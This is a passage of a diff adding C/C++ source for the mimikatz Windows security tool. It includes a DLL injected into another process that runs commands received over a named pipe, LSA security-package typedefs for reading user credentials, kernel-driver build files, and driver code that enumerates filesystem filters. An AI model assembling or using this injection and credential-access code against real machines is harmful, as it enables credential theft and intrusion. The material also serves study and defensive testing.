||||
string procDll(fonction.begin(), fonction.end());
|
||||
|
||||
ptrFunction maFonction = reinterpret_cast<ptrFunction>(GetProcAddress(g_hModule, procDll.c_str()));
|
||||
|
||||
if(maFonction)
|
||||
{
|
||||
if(maFonction(monCommunicator, &arguments))
|
||||
{
|
||||
monBuffer = L"@";
|
||||
}
|
||||
else // La fonction à retourné FALSE, il y a donc anomalie bloquante sur le canal
|
||||
{
|
||||
break;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
monBuffer = L"@Méthode \'";
|
||||
monBuffer.append(fonction);
|
||||
monBuffer.append(L"\' introuvable !\n");
|
||||
}
|
||||
|
||||
if(!monCommunicator->writeToPipe(monBuffer))
|
||||
{
|
||||
break;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
delete monCommunicator;
|
||||
|
||||
FreeLibraryAndExitThread(g_hModule, 0);
|
||||
return 0;
|
||||
}
|
||||
|
||||
bool sendTo(mod_pipe * monPipe, wstring message)
|
||||
{
|
||||
wstring reponse = L"#";
|
||||
reponse.append(message);
|
||||
|
||||
return monPipe->writeToPipe(reponse);
|
||||
}
|
||||
|
||||
|
||||
__kextdll bool __cdecl ping(mod_pipe * monPipe, vector<wstring> * mesArguments)
|
||||
{
|
||||
bool sendOk = sendTo(monPipe, L"pong");
|
||||
|
||||
for(vector<wstring>::iterator monArgument = mesArguments->begin(); monArgument != mesArguments->end() && sendOk; monArgument++)
|
||||
{
|
||||
wstring maReponse = L" - argument:";
|
||||
maReponse.append(*monArgument);
|
||||
sendOk = sendTo(monPipe, maReponse);
|
||||
}
|
||||
|
||||
if(sendOk)
|
||||
sendOk = sendTo(monPipe, L"\n");
|
||||
|
||||
return sendOk;
|
||||
}
|
||||
|
|
@ -0,0 +1,21 @@
|
|||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
*/
|
||||
#pragma once
|
||||
#include "globdefs.h"
|
||||
#include "mod_pipe.h"
|
||||
#include "mod_parseur.h"
|
||||
|
||||
#define __kextdll extern "C" __declspec(dllexport)
|
||||
|
||||
typedef bool (__cdecl * ptrFunction) (mod_pipe * monPipe, vector<wstring> * mesArguments);
|
||||
typedef bool (__cdecl * ptrFunctionString) (wstring * maDescription);
|
||||
|
||||
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved);
|
||||
DWORD WINAPI ThreadProc(LPVOID lpParameter);
|
||||
|
||||
bool sendTo(mod_pipe * monPipe, wstring message);
|
||||
|
||||
__kextdll bool __cdecl ping(mod_pipe * monPipe, vector<wstring> * mesArguments);
|
||||
|
|
@ -0,0 +1,239 @@
|
|||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
*/
|
||||
#pragma once
|
||||
#include "globdefs.h"
|
||||
#include <sspi.h>
|
||||
#include <wincred.h>
|
||||
|
||||
typedef struct _KIWI_GENERIC_PRIMARY_CREDENTIAL
|
||||
{
|
||||
LSA_UNICODE_STRING UserName;
|
||||
LSA_UNICODE_STRING Domaine;
|
||||
LSA_UNICODE_STRING Password;
|
||||
} KIWI_GENERIC_PRIMARY_CREDENTIAL, * PKIWI_GENERIC_PRIMARY_CREDENTIAL;
|
||||
|
||||
typedef NTSTATUS (WINAPIV * PLSA_INITIALIZE_PROTECTED_MEMORY) ();
|
||||
|
||||
typedef PVOID *PLSA_CLIENT_REQUEST;
|
||||
typedef LPTHREAD_START_ROUTINE SEC_THREAD_START;
|
||||
typedef LPSECURITY_ATTRIBUTES SEC_ATTRS;
|
||||
|
||||
typedef struct _SECPKG_CLIENT_INFO {
|
||||
LUID LogonId; // Effective Logon Id
|
||||
ULONG ProcessID; // Process Id of caller
|
||||
ULONG ThreadID; // Thread Id of caller
|
||||
BOOLEAN HasTcbPrivilege; // Client has TCB
|
||||
BOOLEAN Impersonating; // Client is impersonating
|
||||
BOOLEAN Restricted; // Client is restricted
|
||||
// NT 5.1
|
||||
UCHAR ClientFlags; // Extra flags about the client
|
||||
SECURITY_IMPERSONATION_LEVEL ImpersonationLevel; // Impersonation level of client
|
||||
// NT 6
|
||||
HANDLE ClientToken;
|
||||
} SECPKG_CLIENT_INFO, * PSECPKG_CLIENT_INFO;
|
||||
|
||||
typedef enum _LSA_TOKEN_INFORMATION_TYPE {
|
||||
LsaTokenInformationNull, // Implies LSA_TOKEN_INFORMATION_NULL data type
|
||||
LsaTokenInformationV1, // Implies LSA_TOKEN_INFORMATION_V1 data type
|
||||
LsaTokenInformationV2 // Implies LSA_TOKEN_INFORMATION_V2 data type
|
||||
} LSA_TOKEN_INFORMATION_TYPE, *PLSA_TOKEN_INFORMATION_TYPE;
|
||||
|
||||
typedef enum _SECPKG_NAME_TYPE {
|
||||
SecNameSamCompatible,
|
||||
SecNameAlternateId,
|
||||
SecNameFlat,
|
||||
SecNameDN,
|
||||
SecNameSPN
|
||||
} SECPKG_NAME_TYPE;
|
||||
|
||||
typedef struct _SECPKG_CALL_INFO {
|
||||
ULONG ProcessId;
|
||||
ULONG ThreadId;
|
||||
ULONG Attributes;
|
||||
ULONG CallCount;
|
||||
PVOID MechOid; // mechanism objection identifer
|
||||
} SECPKG_CALL_INFO, * PSECPKG_CALL_INFO;
|
||||
|
||||
typedef enum _SECPKG_SESSIONINFO_TYPE {
|
||||
SecSessionPrimaryCred // SessionInformation is SECPKG_PRIMARY_CRED
|
||||
} SECPKG_SESSIONINFO_TYPE;
|
||||
|
||||
typedef struct _SECPKG_PRIMARY_CRED {
|
||||
LUID LogonId;
|
||||
UNICODE_STRING DownlevelName; // Sam Account Name
|
||||
UNICODE_STRING DomainName; // Netbios domain name where account is located
|
||||
UNICODE_STRING Password;
|
||||
UNICODE_STRING OldPassword;
|
||||
PSID UserSid;
|
||||
ULONG Flags;
|
||||
UNICODE_STRING DnsDomainName; // DNS domain name where account is located (if known)
|
||||
UNICODE_STRING Upn; // UPN of account (if known)
|
||||
UNICODE_STRING LogonServer;
|
||||
UNICODE_STRING Spare1;
|
||||
UNICODE_STRING Spare2;
|
||||
UNICODE_STRING Spare3;
|
||||
UNICODE_STRING Spare4;
|
||||
} SECPKG_PRIMARY_CRED, *PSECPKG_PRIMARY_CRED;
|
||||
|
||||
typedef struct _SECPKG_SUPPLEMENTAL_CRED {
|
||||
UNICODE_STRING PackageName;
|
||||
ULONG CredentialSize;
|
||||
#ifdef MIDL_PASS
|
||||
[size_is(CredentialSize)]
|
||||
#endif // MIDL_PASS
|
||||
PUCHAR Credentials;
|
||||
} SECPKG_SUPPLEMENTAL_CRED, *PSECPKG_SUPPLEMENTAL_CRED;
|
||||
|
||||
typedef struct _SECPKG_SUPPLEMENTAL_CRED_ARRAY {
|
||||
ULONG CredentialCount;
|
||||
#ifdef MIDL_PASS
|
||||
[size_is(CredentialCount)] SECPKG_SUPPLEMENTAL_CRED Credentials[*];
|
||||
#else // MIDL_PASS
|
||||
SECPKG_SUPPLEMENTAL_CRED Credentials[1];
|
||||
#endif // MIDL_PASS
|
||||
} SECPKG_SUPPLEMENTAL_CRED_ARRAY, *PSECPKG_SUPPLEMENTAL_CRED_ARRAY;
|
||||
|
||||
typedef NTSTATUS (WINAPI * PLSA_CALLBACK_FUNCTION) (ULONG_PTR Argument1, ULONG_PTR Argument2, PSecBuffer InputBuffer, PSecBuffer OutputBuffer);
|
||||
|
||||
typedef NTSTATUS (WINAPI * PLSA_CREATE_LOGON_SESSION) (IN PLUID LogonId);
|
||||
typedef NTSTATUS (WINAPI * PLSA_DELETE_LOGON_SESSION) (IN PLUID LogonId);
|
||||
typedef NTSTATUS (WINAPI * PLSA_ADD_CREDENTIAL) (IN PLUID LogonId, IN ULONG AuthenticationPackage, IN PLSA_STRING PrimaryKeyValue, IN PLSA_STRING Credentials);
|
||||
typedef NTSTATUS (WINAPI * PLSA_GET_CREDENTIALS) (IN PLUID LogonId, IN ULONG AuthenticationPackage, IN OUT PULONG QueryContext, IN BOOLEAN RetrieveAllCredentials, IN PLSA_STRING PrimaryKeyValue, OUT PULONG PrimaryKeyLength, IN PLSA_STRING Credentials);
|
||||
typedef NTSTATUS (WINAPI * PLSA_DELETE_CREDENTIAL) (IN PLUID LogonId, IN ULONG AuthenticationPackage, IN PLSA_STRING PrimaryKeyValue);
|
||||
typedef PVOID (WINAPI * PLSA_ALLOCATE_LSA_HEAP) (IN ULONG Length);
|
||||
typedef VOID (WINAPI * PLSA_FREE_LSA_HEAP) (IN PVOID Base);
|
||||
typedef PVOID (WINAPI * PLSA_ALLOCATE_PRIVATE_HEAP) (IN SIZE_T Length);
|
||||
typedef VOID (WINAPI * PLSA_FREE_PRIVATE_HEAP) (IN PVOID Base);
|
||||
typedef NTSTATUS (WINAPI * PLSA_ALLOCATE_CLIENT_BUFFER) (IN PLSA_CLIENT_REQUEST ClientRequest, IN ULONG LengthRequired, OUT PVOID *ClientBaseAddress);
|
||||
typedef NTSTATUS (WINAPI * PLSA_FREE_CLIENT_BUFFER) (IN PLSA_CLIENT_REQUEST ClientRequest, IN PVOID ClientBaseAddress);
|
||||
typedef NTSTATUS (WINAPI * PLSA_COPY_TO_CLIENT_BUFFER) (IN PLSA_CLIENT_REQUEST ClientRequest, IN ULONG Length, IN PVOID ClientBaseAddress, IN PVOID BufferToCopy);
|
||||
typedef NTSTATUS (WINAPI * PLSA_COPY_FROM_CLIENT_BUFFER) (IN PLSA_CLIENT_REQUEST ClientRequest, IN ULONG Length, IN PVOID BufferToCopy, IN PVOID ClientBaseAddress);
|
||||
typedef NTSTATUS (WINAPI * PLSA_IMPERSONATE_CLIENT) (VOID);
|
||||
typedef NTSTATUS (WINAPI * PLSA_UNLOAD_PACKAGE) (VOID);
|
||||
typedef NTSTATUS (WINAPI * PLSA_DUPLICATE_HANDLE) (IN HANDLE SourceHandle, OUT PHANDLE DestionationHandle);
|
||||
typedef NTSTATUS (WINAPI * PLSA_SAVE_SUPPLEMENTAL_CREDENTIALS) (IN PLUID LogonId, IN ULONG SupplementalCredSize, IN PVOID SupplementalCreds, IN BOOLEAN Synchronous);
|
||||
typedef HANDLE (WINAPI * PLSA_CREATE_THREAD) (IN SEC_ATTRS SecurityAttributes, IN ULONG StackSize, IN SEC_THREAD_START StartFunction, IN PVOID ThreadParameter, IN ULONG CreationFlags, OUT PULONG ThreadId);
|
||||
typedef NTSTATUS (WINAPI * PLSA_GET_CLIENT_INFO) (OUT PSECPKG_CLIENT_INFO ClientInfo);
|
||||
typedef HANDLE (WINAPI * PLSA_REGISTER_NOTIFICATION) (IN SEC_THREAD_START StartFunction, IN PVOID Parameter, IN ULONG NotificationType, IN ULONG NotificationClass, IN ULONG NotificationFlags, IN ULONG IntervalMinutes, IN OPTIONAL HANDLE WaitEvent);
|
||||
typedef NTSTATUS (WINAPI * PLSA_CANCEL_NOTIFICATION) (IN HANDLE NotifyHandle);
|
||||
typedef NTSTATUS (WINAPI * PLSA_MAP_BUFFER) (IN PSecBuffer InputBuffer, OUT PSecBuffer OutputBuffer);
|
||||
typedef NTSTATUS (WINAPI * PLSA_CREATE_TOKEN) (IN PLUID LogonId, IN PTOKEN_SOURCE TokenSource, IN SECURITY_LOGON_TYPE LogonType, IN SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, IN LSA_TOKEN_INFORMATION_TYPE TokenInformationType, IN PVOID TokenInformation, IN PTOKEN_GROUPS TokenGroups, IN PUNICODE_STRING AccountName, IN PUNICODE_STRING AuthorityName, IN PUNICODE_STRING Workstation, IN PUNICODE_STRING ProfilePath, OUT PHANDLE Token, OUT PNTSTATUS SubStatus);
|
||||
typedef NTSTATUS (WINAPI * PLSA_CREATE_TOKEN_EX) (IN PLUID LogonId, IN PTOKEN_SOURCE TokenSource, IN SECURITY_LOGON_TYPE LogonType, IN SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, IN LSA_TOKEN_INFORMATION_TYPE TokenInformationType, IN PVOID TokenInformation, IN PTOKEN_GROUPS TokenGroups, IN PUNICODE_STRING Workstation, IN PUNICODE_STRING ProfilePath, IN PVOID SessionInformation, IN SECPKG_SESSIONINFO_TYPE SessionInformationType, OUT PHANDLE Token, OUT PNTSTATUS SubStatus);
|
||||
typedef VOID (WINAPI * PLSA_AUDIT_LOGON) (IN NTSTATUS Status, IN NTSTATUS SubStatus, IN PUNICODE_STRING AccountName, IN PUNICODE_STRING AuthenticatingAuthority, IN PUNICODE_STRING WorkstationName, IN OPTIONAL PSID UserSid, IN SECURITY_LOGON_TYPE LogonType, IN PTOKEN_SOURCE TokenSource, IN PLUID LogonId);
|
||||
typedef NTSTATUS (WINAPI * PLSA_CALL_PACKAGE) (IN PUNICODE_STRING AuthenticationPackage, IN PVOID ProtocolSubmitBuffer, IN ULONG SubmitBufferLength, OUT PVOID *ProtocolReturnBuffer, OUT PULONG ReturnBufferLength, OUT PNTSTATUS ProtocolStatus);
|
||||
typedef NTSTATUS (WINAPI * PLSA_CALL_PACKAGEEX) (IN PUNICODE_STRING AuthenticationPackage, IN PVOID ClientBufferBase, IN PVOID ProtocolSubmitBuffer, IN ULONG SubmitBufferLength, OUT PVOID *ProtocolReturnBuffer, OUT PULONG ReturnBufferLength, OUT PNTSTATUS ProtocolStatus);
|
||||
typedef NTSTATUS (WINAPI * PLSA_CALL_PACKAGE_PASSTHROUGH) (IN PUNICODE_STRING AuthenticationPackage, IN PVOID ClientBufferBase, IN PVOID ProtocolSubmitBuffer, IN ULONG SubmitBufferLength, OUT PVOID *ProtocolReturnBuffer, OUT PULONG ReturnBufferLength, OUT PNTSTATUS ProtocolStatus);
|
||||
typedef BOOLEAN (WINAPI * PLSA_GET_CALL_INFO) (OUT PSECPKG_CALL_INFO Info);
|
||||
typedef PVOID (WINAPI * PLSA_CREATE_SHARED_MEMORY) (ULONG MaxSize, ULONG InitialSize);
|
||||
typedef PVOID (WINAPI * PLSA_ALLOCATE_SHARED_MEMORY) (PVOID SharedMem, ULONG Size);
|
||||
typedef VOID (WINAPI * PLSA_FREE_SHARED_MEMORY) (PVOID SharedMem, PVOID Memory);
|
||||
typedef BOOLEAN (WINAPI * PLSA_DELETE_SHARED_MEMORY) (PVOID SharedMem);
|
||||
typedef NTSTATUS (WINAPI * PLSA_OPEN_SAM_USER) (PSECURITY_STRING Name, SECPKG_NAME_TYPE NameType, PSECURITY_STRING Prefix, BOOLEAN AllowGuest, ULONG Reserved, PVOID * UserHandle);
|
||||
typedef NTSTATUS (WINAPI * PLSA_GET_USER_CREDENTIALS) (PVOID UserHandle, PVOID * PrimaryCreds, PULONG PrimaryCredsSize, PVOID * SupplementalCreds, PULONG SupplementalCredsSize);
|
||||
typedef NTSTATUS (WINAPI * PLSA_GET_USER_AUTH_DATA) (PVOID UserHandle, PUCHAR * UserAuthData, PULONG UserAuthDataSize);
|
||||
typedef NTSTATUS (WINAPI * PLSA_CLOSE_SAM_USER) (PVOID UserHandle);
|
||||
typedef NTSTATUS (WINAPI * PLSA_GET_AUTH_DATA_FOR_USER) (PSECURITY_STRING Name, SECPKG_NAME_TYPE NameType, PSECURITY_STRING Prefix, PUCHAR * UserAuthData, PULONG UserAuthDataSize, PUNICODE_STRING UserFlatName);
|
||||
typedef NTSTATUS (WINAPI * PLSA_CONVERT_AUTH_DATA_TO_TOKEN) (IN PVOID UserAuthData, IN ULONG UserAuthDataSize, IN SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, IN PTOKEN_SOURCE TokenSource, IN SECURITY_LOGON_TYPE LogonType, IN PUNICODE_STRING AuthorityName, OUT PHANDLE Token, OUT PLUID LogonId, OUT PUNICODE_STRING AccountName, OUT PNTSTATUS SubStatus);
|
||||
typedef NTSTATUS (WINAPI * PLSA_CRACK_SINGLE_NAME) (IN ULONG FormatOffered, IN BOOLEAN PerformAtGC, IN PUNICODE_STRING NameInput, IN PUNICODE_STRING Prefix OPTIONAL, IN ULONG RequestedFormat, OUT PUNICODE_STRING CrackedName, OUT PUNICODE_STRING DnsDomainName, OUT PULONG SubStatus);
|
||||
typedef NTSTATUS (WINAPI * PLSA_AUDIT_ACCOUNT_LOGON) (IN ULONG AuditId, IN BOOLEAN Success, IN PUNICODE_STRING Source, IN PUNICODE_STRING ClientName, IN PUNICODE_STRING MappedName, IN NTSTATUS Status);
|
||||
typedef NTSTATUS (WINAPI * PLSA_CLIENT_CALLBACK) (IN PCHAR Callback, IN ULONG_PTR Argument1, IN ULONG_PTR Argument2, IN PSecBuffer Input, OUT PSecBuffer Output);
|
||||
typedef NTSTATUS (WINAPI * PLSA_REGISTER_CALLBACK) (ULONG CallbackId, PLSA_CALLBACK_FUNCTION Callback);
|
||||
typedef NTSTATUS (WINAPI * PLSA_UPDATE_PRIMARY_CREDENTIALS) (IN PSECPKG_PRIMARY_CRED PrimaryCredentials, IN OPTIONAL PSECPKG_SUPPLEMENTAL_CRED_ARRAY Credentials);
|
||||
typedef VOID (WINAPI * PLSA_PROTECT_MEMORY) (IN PVOID Buffer, IN ULONG BufferSize);
|
||||
typedef NTSTATUS (WINAPI * PLSA_OPEN_TOKEN_BY_LOGON_ID) (IN PLUID LogonId, OUT HANDLE *RetTokenHandle);
|
||||
typedef NTSTATUS (WINAPI * PLSA_EXPAND_AUTH_DATA_FOR_DOMAIN) (IN PUCHAR UserAuthData, IN ULONG UserAuthDataSize, IN PVOID Reserved, OUT PUCHAR * ExpandedAuthData, OUT PULONG ExpandedAuthDataSize);
|
||||
|
||||
|
||||
|
||||
#ifndef _ENCRYPTED_CREDENTIAL_DEFINED
|
||||
#define _ENCRYPTED_CREDENTIAL_DEFINED
|
||||
|
||||
typedef struct _ENCRYPTED_CREDENTIALW {
|
||||
CREDENTIALW Cred;
|
||||
ULONG ClearCredentialBlobSize;
|
||||
} ENCRYPTED_CREDENTIALW, *PENCRYPTED_CREDENTIALW;
|
||||
#endif // _ENCRYPTED_CREDENTIAL_DEFINED
|
||||
|
||||
#define CREDP_FLAGS_IN_PROCESS 0x01 // Caller is in-process. Password data may be returned
|
||||
#define CREDP_FLAGS_USE_MIDL_HEAP 0x02 // Allocated buffer should use MIDL_user_allocte
|
||||
#define CREDP_FLAGS_DONT_CACHE_TI 0x04 // TargetInformation shouldn't be cached for CredGetTargetInfo
|
||||
#define CREDP_FLAGS_CLEAR_PASSWORD 0x08 // Credential blob is passed in in-the-clear
|
||||
#define CREDP_FLAGS_USER_ENCRYPTED_PASSWORD 0x10 // Credential blob is passed protected by RtlEncryptMemory
|
||||
#define CREDP_FLAGS_TRUSTED_CALLER 0x20 // Caller is a trusted process (eg. logon process).
|
||||
|
||||
typedef enum _CredParsedUserNameType
|
||||
{
|
||||
parsedUsernameInvalid = 0,
|
||||
parsedUsernameUpn,
|
||||
parsedUsernameNt4Style,
|
||||
parsedUsernameCertificate,
|
||||
parsedUsernameNonQualified
|
||||
} CredParsedUserNameType;
|
||||
|
||||
|
||||
typedef NTSTATUS (NTAPI CredReadFn) (IN PLUID LogonId, IN ULONG CredFlags, IN LPWSTR TargetName, IN ULONG Type, IN ULONG Flags, OUT PENCRYPTED_CREDENTIALW *Credential);
|
||||
typedef NTSTATUS (NTAPI CredReadDomainCredentialsFn) (IN PLUID LogonId, IN ULONG CredFlags, IN PCREDENTIAL_TARGET_INFORMATIONW TargetInfo, IN ULONG Flags, OUT PULONG Count, OUT PENCRYPTED_CREDENTIALW **Credential);
|
||||
|
||||
typedef VOID (NTAPI CredFreeCredentialsFn) (IN ULONG Count, IN PENCRYPTED_CREDENTIALW *Credentials OPTIONAL);
|
||||
typedef NTSTATUS (NTAPI CredWriteFn) (IN PLUID LogonId, IN ULONG CredFlags, IN PENCRYPTED_CREDENTIALW Credential, IN ULONG Flags);
|
||||
typedef NTSTATUS (NTAPI CrediUnmarshalandDecodeStringFn)(IN LPWSTR MarshaledString, OUT LPBYTE *Blob, OUT ULONG *BlobSize, OUT BOOLEAN *IsFailureFatal);
|
||||
|
||||
typedef struct _LSA_SECPKG_FUNCTION_TABLE {
|
||||
PLSA_CREATE_LOGON_SESSION CreateLogonSession;
|
||||
PLSA_DELETE_LOGON_SESSION DeleteLogonSession;
|
||||
PLSA_ADD_CREDENTIAL AddCredential;
|
||||
PLSA_GET_CREDENTIALS GetCredentials;
|
||||
PLSA_DELETE_CREDENTIAL DeleteCredential;
|
||||
PLSA_ALLOCATE_LSA_HEAP AllocateLsaHeap;
|
||||
PLSA_FREE_LSA_HEAP FreeLsaHeap;
|
||||
PLSA_ALLOCATE_CLIENT_BUFFER AllocateClientBuffer;
|
||||
PLSA_FREE_CLIENT_BUFFER FreeClientBuffer;
|
||||
PLSA_COPY_TO_CLIENT_BUFFER CopyToClientBuffer;
|
||||
PLSA_COPY_FROM_CLIENT_BUFFER CopyFromClientBuffer;
|
||||
PLSA_IMPERSONATE_CLIENT ImpersonateClient;
|
||||
PLSA_UNLOAD_PACKAGE UnloadPackage;
|
||||
PLSA_DUPLICATE_HANDLE DuplicateHandle;
|
||||
PLSA_SAVE_SUPPLEMENTAL_CREDENTIALS SaveSupplementalCredentials;
|
||||
PLSA_CREATE_THREAD CreateThread;
|
||||
PLSA_GET_CLIENT_INFO GetClientInfo;
|
||||
PLSA_REGISTER_NOTIFICATION RegisterNotification;
|
||||
PLSA_CANCEL_NOTIFICATION CancelNotification;
|
||||
PLSA_MAP_BUFFER MapBuffer;
|
||||
PLSA_CREATE_TOKEN CreateToken;
|
||||
PLSA_AUDIT_LOGON AuditLogon;
|
||||
PLSA_CALL_PACKAGE CallPackage;
|
||||
PLSA_FREE_LSA_HEAP FreeReturnBuffer;
|
||||
PLSA_GET_CALL_INFO GetCallInfo;
|
||||
PLSA_CALL_PACKAGEEX CallPackageEx;
|
||||
PLSA_CREATE_SHARED_MEMORY CreateSharedMemory;
|
||||
PLSA_ALLOCATE_SHARED_MEMORY AllocateSharedMemory;
|
||||
PLSA_FREE_SHARED_MEMORY FreeSharedMemory;
|
||||
PLSA_DELETE_SHARED_MEMORY DeleteSharedMemory;
|
||||
PLSA_OPEN_SAM_USER OpenSamUser;
|
||||
PLSA_GET_USER_CREDENTIALS GetUserCredentials;
|
||||
PLSA_GET_USER_AUTH_DATA GetUserAuthData;
|
||||
PLSA_CLOSE_SAM_USER CloseSamUser;
|
||||
PLSA_CONVERT_AUTH_DATA_TO_TOKEN ConvertAuthDataToToken;
|
||||
PLSA_CLIENT_CALLBACK ClientCallback;
|
||||
PLSA_UPDATE_PRIMARY_CREDENTIALS UpdateCredentials;
|
||||
PLSA_GET_AUTH_DATA_FOR_USER GetAuthDataForUser;
|
||||
PLSA_CRACK_SINGLE_NAME CrackSingleName;
|
||||
PLSA_AUDIT_ACCOUNT_LOGON AuditAccountLogon;
|
||||
PLSA_CALL_PACKAGE_PASSTHROUGH CallPackagePassthrough;
|
||||
CredReadFn *CrediRead;
|
||||
CredReadDomainCredentialsFn *CrediReadDomainCredentials;
|
||||
CredFreeCredentialsFn *CrediFreeCredentials;
|
||||
PLSA_PROTECT_MEMORY LsaProtectMemory;
|
||||
PLSA_PROTECT_MEMORY LsaUnprotectMemory;
|
||||
PLSA_OPEN_TOKEN_BY_LOGON_ID OpenTokenByLogonId;
|
||||
PLSA_EXPAND_AUTH_DATA_FOR_DOMAIN ExpandAuthDataForDomain;
|
||||
PLSA_ALLOCATE_PRIVATE_HEAP AllocatePrivateHeap;
|
||||
PLSA_FREE_PRIVATE_HEAP FreePrivateHeap;
|
||||
PLSA_CREATE_TOKEN_EX CreateTokenEx;
|
||||
CredWriteFn *CrediWrite;
|
||||
CrediUnmarshalandDecodeStringFn *CrediUnmarshalandDecodeString;
|
||||
} LSA_SECPKG_FUNCTION_TABLE, *PLSA_SECPKG_FUNCTION_TABLE;
|
||||
|
|
@ -0,0 +1 @@
|
|||
!INCLUDE $(NTMAKEENV)\makefile.def
|
||||
|
|
@ -0,0 +1,32 @@
|
|||
-----BEGIN CERTIFICATE-----
|
||||
MIIFfzCCA2egAwIBAgIKYQt/awAAAAAAGTANBgkqhkiG9w0BAQUFADB/MQswCQYD
|
||||
VQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMHUmVkbW9uZDEe
|
||||
MBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMSkwJwYDVQQDEyBNaWNyb3Nv
|
||||
ZnQgQ29kZSBWZXJpZmljYXRpb24gUm9vdDAeFw0wNjA1MjMxNzAwNTFaFw0xNjA1
|
||||
MjMxNzEwNTFaMFcxCzAJBgNVBAYTAkJFMRkwFwYDVQQKExBHbG9iYWxTaWduIG52
|
||||
LXNhMRAwDgYDVQQLEwdSb290IENBMRswGQYDVQQDExJHbG9iYWxTaWduIFJvb3Qg
|
||||
Q0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDaDuaZjc6j40+Kfvvx
|
||||
i4Mla+pIH/EqsLmVEQS98GPR4mdmzxzdzxtIK+6NiY6arymAZavpxy0Sy6scTHAH
|
||||
oT0KMM0VjU/43dSMUBUc71DuxC73/OlS8pF94G3VNTCOXkNz8kHp1Wrjsok6Vjk4
|
||||
bwY8iGlbKk3Fp1S4bInMm/k8yuX9ifUSPJJ4ltbcdG6TRGHRjcdGsnUOhugZitVt
|
||||
bNV4FpWi6cgKOOvyJBNPc1STE4U6G7weNLWLBYy5d4ux2x8gkasJU26Qzns3dLlw
|
||||
R5EiUWMWea6xrkEmCMgZK9FGqkjWZCrXgzT/LCrBbBlDSgeF59N89iFo7+ryUp9/
|
||||
k5DPAgMBAAGjggEjMIIBHzARBgNVHSAECjAIMAYGBFUdIAAwNgYJKwYBBAGCNxUH
|
||||
BCkwJwYfKwYBBAGCNxUIjeDRiU6E15zDB4amhvscj9O/phUBGQIBbgIBADALBgNV
|
||||
HQ8EBAMCAYYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUYHtmGkUNl8qJUC99
|
||||
BM00qP/8/UswHQYJKwYBBAGCNxQCBBAeDgBDAHIAbwBzAHMAQwBBMB8GA1UdIwQY
|
||||
MBaAFGL7CiFbf0NuEdoJVFBr9dKWcfGeMFUGA1UdHwROMEwwSqBIoEaGRGh0dHA6
|
||||
Ly9jcmwubWljcm9zb2Z0LmNvbS9wa2kvY3JsL3Byb2R1Y3RzL01pY3Jvc29mdENv
|
||||
ZGVWZXJpZlJvb3QuY3JsMA0GCSqGSIb3DQEBBQUAA4ICAQATxWxeB388V/+bMV8/
|
||||
vZVUJcZ5+SwxA01kaUtW2VuXb3zz8NAkZXU4Y5gTcBYT96cB8cYj4IWGbAvwgJRa
|
||||
deh85B6StHO/wbOnsAvTGITLzAmjXJxPPrA6nC0bxATvlzeWb+Xsuqxqs9TiPN+L
|
||||
JeesvGJFMd2kCnLkG/h4QwHMujkU3l2Qrthaz17KRoFRM9WmDlhn09hmWIgWm+6x
|
||||
GsqtkROEIdqabiDv2gB0KLrJX/NNXcPaJWklVOpEvMObKTMc1jyWH4eBxVPXKicz
|
||||
1C4ZfAhYbdtOGZmp6l/zmp2MUTpaXL0vqQg1m1Sn2zUaUhYzNDqjgARq/bSDjK2Q
|
||||
zww6ZZbsM04YJrhJu+uBkv8TTTJLI8cz57ZxaxX2nIDmvLdsvkHVAzpxMxUAUHQ7
|
||||
Dl35lqrtkD6rE0yAmSa8OKXrAjaJHbYgvoOrEPgZntdjedSusS9hNvlKS6gzxw5y
|
||||
QfnxsZB+rkbv3jl7daBBFFkEHUK8R4i4Ew4F+h3wgI3/cMZ32EvcRg4jGnLVv97+
|
||||
qq5pWDz8XEbk1YGai25lWXcaMqWQprZkk2T9B1PJoN4orSpsxjjRgc6Y9UAZ6SwX
|
||||
Q6QmX9NEMFPkHQK6pAovFt16YCdSQrutmDcol+S40nkR4xCMSNUwXQoMUt71iOqN
|
||||
Gi1nyfSAFIS3hQzRZiilxm8kYQ==
|
||||
-----END CERTIFICATE-----
|
||||
|
|
@ -0,0 +1,9 @@
|
|||
TARGETNAME=mimikatz
|
||||
TARGETPATH=OBJ
|
||||
TARGETTYPE=DRIVER
|
||||
SOURCES=mimikatz.c \
|
||||
mod_memory.c \
|
||||
processes.c minifilters.c fsfilters.c modules.c ssdt.c \
|
||||
notify_process.c notify_thread.c notify_image.c notify_reg.c notify_object.c
|
||||
|
||||
TARGETLIBS= $(TARGETLIBS) $(IFSKIT_LIB_PATH)\fltmgr.lib $(BASEDIR)\lib\wlh\*\aux_klib.lib $(DDK_LIB_PATH)\ntstrsafe.lib
|
||||
|
|
@ -0,0 +1,35 @@
|
|||
#include "fsfilters.h"
|
||||
|
||||
NTSTATUS kFiltersList(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining)
|
||||
{
|
||||
NTSTATUS status;
|
||||
ULONG ActualNumberDriverObjects = 0;
|
||||
PDRIVER_OBJECT * DriverObjectList = NULL;
|
||||
|
||||
ULONG i;
|
||||
|
||||
*ppszDestEnd = pszDest;
|
||||
*pcbRemaining= cbDest;
|
||||
|
||||
IoEnumerateRegisteredFiltersList(NULL, 0, &ActualNumberDriverObjects);
|
||||
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"kFiltersList - ActualNumberDriverObjects : %u\n\n", ActualNumberDriverObjects);
|
||||
if(NT_SUCCESS(status))
|
||||
{
|
||||
